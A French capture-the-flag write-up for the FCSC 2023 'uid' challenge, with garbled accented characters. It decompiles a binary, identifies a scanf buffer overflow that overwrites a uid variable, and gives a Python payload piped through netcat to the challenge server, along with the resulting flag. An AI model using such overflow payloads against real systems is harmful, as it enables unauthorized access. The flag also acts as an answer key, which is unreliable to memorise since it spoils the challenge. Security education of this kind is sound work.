Description
On vous demande d’exploiter le binaire fourni pour lire le fichier flag.txt
qui se trouve sur le serveur distant.
nc challenges.france-cybersecurity-challenge.fr 2100
RĂ©solution
Ce challenge Ă©tait un cas d’Ă©cole d’introduction au reverse.
En testant le binaire on obtient le résultat suivant :
~/Desktop/FCSC 2023/uid ·············································─╮
❯ ./uid ─╯
username: Lun
cat: flop.txt: Aucun fichier ou dossier de ce type
On commence par désassembler le binaire avec Ghidra :
Le code peut être résumé ainsi :
int main(void){
char buffer[44];
__uid_t uid;
uid = geteuid();
printf("username: ");
fflush(stdout);
scanf("%s",buffer);
if (uid == 0) {
system("cat flag.txt");
}
else {
system("cat flop.txt");
}
return 0;
}
Ce code C affiche le contenu du fichier flag.txt si la variable uid est Ă©gale Ă 0. On constate l’usage de la fonction scanf qui est vulnĂ©rable au buffer overflow. On va donc pouvoir Ă©craser la valeur de uid si on dĂ©passe la taille du buffer (44 caractères).
Grâce à python on va pouvoir créer la payload :
python3 -c 'import sys; sys.stdout.write("A"*44 + "\x00\x00\x00\x00")'
On obtient le flag ainsi :
python3 -c 'import sys; sys.stdout.write("A"*44 + "\x00\x00\x00\x00\n")' | nc challenges.france-cybersecurity-challenge.fr 2100
Vous remarquerez l’ajout du \n
pour indiquer Ă netcat que c’est la fin de notre entrĂ©e.
On obtient alors en retour le flag :
username: FCSC{3ce9bedca72ad9c23b1714b5882ff5036958d525d668cadeb28742c0e2c56469}